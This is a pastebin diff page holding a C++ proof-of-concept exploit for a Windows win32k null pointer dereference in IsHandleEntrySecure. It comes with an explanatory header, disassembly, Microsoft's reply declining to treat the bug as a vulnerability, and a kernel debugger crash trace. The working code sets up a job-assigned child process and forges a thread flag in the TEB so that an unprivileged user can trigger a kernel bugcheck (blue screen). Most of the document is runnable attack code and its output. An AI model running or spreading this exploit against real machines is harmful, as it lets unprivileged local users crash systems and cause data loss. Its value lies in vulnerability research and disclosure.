SHOW:
|
|
- or go back to the newest paste.
| 1 | // | |
| 2 | // IsHandleEntrySecure_w32job_dereference_bsod.cpp | |
| 3 | // @sixtyvividtails | |
| 4 | // | |
| 5 | // | |
| 6 | // Function win32k!IsHandleEntrySecure() doesn't properly check if 'pW32Job' field of 'tagPROCESSINFO' for current | |
| 7 | // process contains non-zero value. This allows unprivileged local user to cause null derefence in kernel mode (that's | |
| 8 | // it, just bsod). | |
| 9 | // | |
| 10 | // NtUserValidateHandleSecure(win32Handle) -> | |
| 11 | // ValidateHandleSecure(win32Handle, 3) -> | |
| 12 | // IsHandleEntrySecure(win32Handle, pHandleEntry) -> bsod | |
| 13 | // | |
| 14 | // | |
| 15 | // To get bsod, user should call NtUserValidateHandleSecure(), with following conditions: | |
| 16 | // 1) Calling process SHOULD NOT be assigned to job. | |
| 17 | // 2) Handle for validation should specify "owned" object (flags OCF_THREADOWNED or OCF_PROCESSOWNED). | |
| 18 | // 3) Process which owns object SHOULD be assigned to job. | |
| 19 | // | |
| 20 | // | |
| 21 | // | |
| 22 | // IsHandleEntrySecure: | |
| 23 | // ... | |
| 24 | // .text:00149042 eax: current process processInfo | |
| 25 | // .text:00149042 edx: handleEntry process processInfo | |
| 26 | // .text:00149042 | |
| 27 | // .text:00149042 checkHandleInJob: ; CODE XREF: IsHandleEntrySecure(x,x)+48j | |
| 28 | // .text:00149042 mov ecx, [eax+tagPROCESSINFO.pW32Job] ; ecx: pW32Job of current process processInfo | |
| 29 | // .text:00149048 cmp [edx+tagPROCESSINFO.pW32Job], ecx | |
| 30 | // .text:0014904E jz short ret_1 | |
| 31 | // .text:0014904E | |
| 32 | // .text:00149050 mov edx, [ecx+tagW32JOB.pgh] ; <<<<<<< let's bsod here | |
| 33 | // .text:00149053 xor eax, eax | |
| 34 | // .text:00149055 test edx, edx | |
| 35 | // .text:00149057 jz short ret_eax | |
| 36 | // | |
| 37 | // | |
| 38 | // | |
| 39 | // Microsoft doesn't consider this as vulnerability. Their responce to my report of the bug: | |
| 40 | // | |
| 41 | // QUOTE START | |
| 42 | // I looked through your report, and it appears to be a local DOS. Although this is an unfortunate bug, we don't | |
| 43 | // consider it a security vulnerability according to our 10 immutable laws of security | |
| 44 | // (http://technet.microsoft.com/library/cc722487.aspx). If you know how to exploit this bug without violating one of | |
| 45 | // those laws, we would consider it a remote DOS which is considered a vulnerability. | |
| 46 | // | |
| 47 | // If you'd like to see this bug fixed, please contact Microsoft Product Support Services at | |
| 48 | // http://support.microsoft.com/common/international.aspx. You may also want to try posting a message to our free | |
| 49 | // support newsgroups. See Microsoft Product Support Newsgroups at http://support.microsoft.com/newsgroups/ for more | |
| 50 | // information. | |
| 51 | // QUOTE END | |
| 52 | // | |
| 53 | ||
| 54 | ||
| 55 | #include <conio.h> | |
| 56 | #include <Windows.h> | |
| 57 | #include <strsafe.h> | |
| 58 | ||
| 59 | ||
| 60 | #pragma section(".shared", read, write, shared)
| |
| 61 | ||
| 62 | __declspec(allocate(".shared"))
| |
| 63 | HWND WindowHandle; | |
| 64 | __declspec(allocate(".shared"))
| |
| 65 | HANDLE ChildWindowReadyEvent; | |
| 66 | __declspec(allocate(".shared"))
| |
| 67 | HANDLE ParentProcess; | |
| 68 | ||
| 69 | ||
| 70 | int go_first_instance() | |
| 71 | {
| |
| 72 | - | wprintf( |
| 72 | + | wprintf( |
| 73 | - | L"IsHandleEntrySecure_w32job_dereference_bsod\n" |
| 73 | + | L"IsHandleEntrySecure_w32job_dereference_bsod\n" |
| 74 | - | L"@sixtyvividtails 2013-11-12\n" |
| 74 | + | L"@sixtyvividtails 2013-11-12\n" |
| 75 | - | L"\n"); |
| 75 | + | L"\n"); |
| 76 | ||
| 77 | - | // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled. |
| 77 | + | // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled. |
| 78 | - | HANDLE job = CreateJobObject(NULL, NULL); |
| 78 | + | HANDLE job = CreateJobObject(NULL, NULL); |
| 79 | - | JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD};
|
| 79 | + | JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD};
|
| 80 | - | SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions)); |
| 80 | + | SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions)); |
| 81 | ||
| 82 | - | STARTUPINFO si = {sizeof(si)};
|
| 82 | + | STARTUPINFO si = {sizeof(si)};
|
| 83 | - | PROCESS_INFORMATION pi = {};
|
| 83 | + | PROCESS_INFORMATION pi = {};
|
| 84 | - | CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi); |
| 84 | + | CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi); |
| 85 | - | if (!AssignProcessToJobObject(job, pi.hProcess)) |
| 85 | + | if (!AssignProcessToJobObject(job, pi.hProcess)) |
| 86 | - | return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n"); |
| 86 | + | return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n"); |
| 87 | - | auto me = GetCurrentProcess(); |
| 87 | + | auto me = GetCurrentProcess(); |
| 88 | - | DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0); |
| 88 | + | DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0); |
| 89 | - | HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL); |
| 89 | + | HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL); |
| 90 | - | DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0); |
| 90 | + | DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0); |
| 91 | - | ResumeThread(pi.hThread); |
| 91 | + | ResumeThread(pi.hThread); |
| 92 | ||
| 93 | - | // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers. |
| 93 | + | // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers. |
| 94 | - | // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO |
| 94 | + | // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO |
| 95 | - | // (Teb->Win32ClientInfo, its offsets are quite stable). |
| 95 | + | // (Teb->Win32ClientInfo, its offsets are quite stable). |
| 96 | - | BOOL x64 = FALSE; |
| 96 | + | BOOL x64 = FALSE; |
| 97 | - | __asm |
| 97 | + | __asm |
| 98 | - | {
|
| 98 | + | {
|
| 99 | - | xor eax, eax; |
| 99 | + | xor eax, eax; |
| 100 | - | mov ax, gs; |
| 100 | + | mov ax, gs; |
| 101 | - | mov x64, eax; |
| 101 | + | mov x64, eax; |
| 102 | - | } |
| 102 | + | } |
| 103 | - | // (note: no sanity checks here) |
| 103 | + | // (note: no sanity checks here) |
| 104 | - | PDWORD threadInfoFlags = x64? |
| 104 | + | PDWORD threadInfoFlags = x64? |
| 105 | - | PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c): // &teb->teb64->Win32ClientInfo.dwTIFlags |
| 105 | + | PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c): // &teb->teb64->Win32ClientInfo.dwTIFlags |
| 106 | - | PDWORD(__readfsdword(0x018) + 0x6cc + 0x14); // &teb->Win32ClientInfo.dwTIFlags |
| 106 | + | PDWORD(__readfsdword(0x018) + 0x6cc + 0x14); // &teb->Win32ClientInfo.dwTIFlags |
| 107 | - | *threadInfoFlags |= 0; // die now if ptr invalid. |
| 107 | + | *threadInfoFlags |= 0; // die now if ptr invalid. |
| 108 | ||
| 109 | - | WaitForSingleObject(childWindowReady, 7000); |
| 109 | + | WaitForSingleObject(childWindowReady, 7000); |
| 110 | - | wprintf(L"ready to bsod, HWND: %p\n" |
| 110 | + | wprintf(L"ready to bsod, HWND: %p\n" |
| 111 | - | L"press <enter> to continue...\n", WindowHandle); |
| 111 | + | L"press <enter> to continue...\n", WindowHandle); |
| 112 | - | _getwch(); |
| 112 | + | _getwch(); |
| 113 | ||
| 114 | - | *threadInfoFlags |= 0x20000000; // TIF_RESTRICTED |
| 114 | + | *threadInfoFlags |= 0x20000000; // TIF_RESTRICTED |
| 115 | - | IsWindow(WindowHandle); // boom. Just indirect call to 'NtUserValidateHandleSecure()'. |
| 115 | + | IsWindow(WindowHandle); // boom. Just indirect call to 'NtUserValidateHandleSecure()'. |
| 116 | - | // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb. |
| 116 | + | // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb. |
| 117 | ||
| 118 | - | // should not be here. |
| 118 | + | // should not be here. |
| 119 | - | wprintf(L"bsod failed, I am so sorry.\n"); |
| 119 | + | wprintf(L"bsod failed, I am so sorry.\n"); |
| 120 | - | return 0; |
| 120 | + | return 0; |
| 121 | } | |
| 122 | ||
| 123 | ||
| 124 | int go_second_instance() | |
| 125 | {
| |
| 126 | - | WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); |
| 126 | + | WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); |
| 127 | - | SetEvent(ChildWindowReadyEvent); |
| 127 | + | SetEvent(ChildWindowReadyEvent); |
| 128 | - | WaitForSingleObject(ParentProcess, INFINITE); |
| 128 | + | WaitForSingleObject(ParentProcess, INFINITE); |
| 129 | - | return 0; |
| 129 | + | return 0; |
| 130 | } | |
| 131 | ||
| 132 | ||
| 133 | int main() | |
| 134 | {
| |
| 135 | - | if (!ChildWindowReadyEvent) |
| 135 | + | if (!ChildWindowReadyEvent) |
| 136 | - | go_first_instance(); |
| 136 | + | go_first_instance(); |
| 137 | - | else |
| 137 | + | else |
| 138 | - | go_second_instance(); |
| 138 | + | go_second_instance(); |
| 139 | ||
| 140 | - | return 0; |
| 140 | + | return 0; |
| 141 | } | |
| 142 | ||
| 143 | ||
| 144 | ||
| 145 | ||
| 146 | ||
| 147 | #if 0 | |
| 148 | stacktrace, win8 x64: | |
| 149 | ||
| 150 | FOLLOWUP_IP: | |
| 151 | win32k!IsHandleEntrySecure+71 | |
| 152 | fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h] | |
| 153 | ||
| 154 | SYMBOL_STACK_INDEX: 0 | |
| 155 | ||
| 156 | SYMBOL_NAME: win32k!IsHandleEntrySecure+71 | |
| 157 | ||
| 158 | FOLLOWUP_NAME: MachineOwner | |
| 159 | ||
| 160 | MODULE_NAME: win32k | |
| 161 | ||
| 162 | IMAGE_NAME: win32k.sys | |
| 163 | ||
| 164 | DEBUG_FLR_IMAGE_TIMESTAMP: 5216eef4 | |
| 165 | ||
| 166 | STACK_COMMAND: .cxr 0xfffff880190d31b0 ; kb | |
| 167 | ||
| 168 | BUCKET_ID_FUNC_OFFSET: 71 | |
| 169 | ||
| 170 | FAILURE_BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure | |
| 171 | ||
| 172 | BUCKET_ID: 0x3B_win32k!IsHandleEntrySecure | |
| 173 | ||
| 174 | Followup: MachineOwner | |
| 175 | --------- | |
| 176 | ||
| 177 | ||
| 178 | ||
| 179 | ||
| 180 | 4: kd> k | |
| 181 | Child-SP RetAddr Call Site | |
| 182 | fffff880`190d28b8 fffff802`36876769 nt!KeBugCheckEx | |
| 183 | fffff880`190d28c0 fffff802`368760bc nt!KiBugCheckDispatch+0x69 | |
| 184 | fffff880`190d2a00 fffff802`368e34bd nt!KiSystemServiceHandler+0x7c | |
| 185 | fffff880`190d2a40 fffff802`3690b3d4 nt!RtlpExecuteHandlerForException+0xd | |
| 186 | fffff880`190d2a70 fffff802`368e5216 nt!RtlDispatchException+0x458 | |
| 187 | fffff880`190d3180 fffff802`36876842 nt!KiDispatchException+0x455 | |
| 188 | fffff880`190d3840 fffff802`36874fba nt!KiExceptionDispatch+0xc2 | |
| 189 | fffff880`190d3a20 fffff960`002a7591 nt!KiPageFault+0x23a | |
| 190 | fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71 | |
| 191 | fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b | |
| 192 | fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31 | |
| 193 | fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13 | |
| 194 | 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2 | |
| 195 | 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5 | |
| 196 | 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa | |
| 197 | 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435 | |
| 198 | 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576 | |
| 199 | 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e | |
| 200 | 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe | |
| 201 | ||
| 202 | 4: kd> r | |
| 203 | rax=fffff880190d29c0 rbx=0000000000000000 rcx=000000000000003b | |
| 204 | rdx=00000000c0000005 rsi=fffff880190ce000 rdi=fffff880190d4000 | |
| 205 | rip=fffff80236877440 rsp=fffff880190d28b8 rbp=fffff880190d2b70 | |
| 206 | r8=fffff960002a7591 r9=fffff880190d31b0 r10=0000000000000000 | |
| 207 | r11=fffff80236b2e410 r12=0000000000000000 r13=0000000000000000 | |
| 208 | r14=fffff880190d3978 r15=fffff80236876453 | |
| 209 | iopl=0 nv up ei ng nz na po nc | |
| 210 | cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286 | |
| 211 | nt!KeBugCheckEx: | |
| 212 | fffff802`36877440 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:fffff880`190d28c0=3b00000000000000 | |
| 213 | ||
| 214 | ||
| 215 | 4: kd> .cxr 0xfffff880190d31b0 | |
| 216 | rax=0000000000000001 rbx=fffff90100407bc0 rcx=fffff90102966a60 | |
| 217 | rdx=0000000000000000 rsi=0000000000030528 rdi=0000000000030528 | |
| 218 | rip=fffff960002a7591 rsp=fffff880190d3bb0 rbp=0000000000000000 | |
| 219 | r8=0000000000000000 r9=0000000077e5dc64 r10=fffff960002a75c4 | |
| 220 | r11=fffff880190d3be0 r12=000000007edab000 r13=000000000011fdb0 | |
| 221 | r14=000000000021fc20 r15=0000000077d72300 | |
| 222 | iopl=0 nv up ei ng nz na po nc | |
| 223 | cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010286 | |
| 224 | win32k!IsHandleEntrySecure+0x71: | |
| 225 | fffff960`002a7591 488b4a38 mov rcx,qword ptr [rdx+38h] ds:002b:00000000`00000038=???????????????? | |
| 226 | 4: kd> k | |
| 227 | *** Stack trace for last set context - .thread/.cxr resets it | |
| 228 | Child-SP RetAddr Call Site | |
| 229 | fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71 | |
| 230 | fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b | |
| 231 | fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31 | |
| 232 | fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13 | |
| 233 | 00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2 | |
| 234 | 00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5 | |
| 235 | 00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa | |
| 236 | 00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435 | |
| 237 | 00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576 | |
| 238 | 00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e | |
| 239 | 00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe | |
| 240 | ||
| 241 | #endif // #if 0 |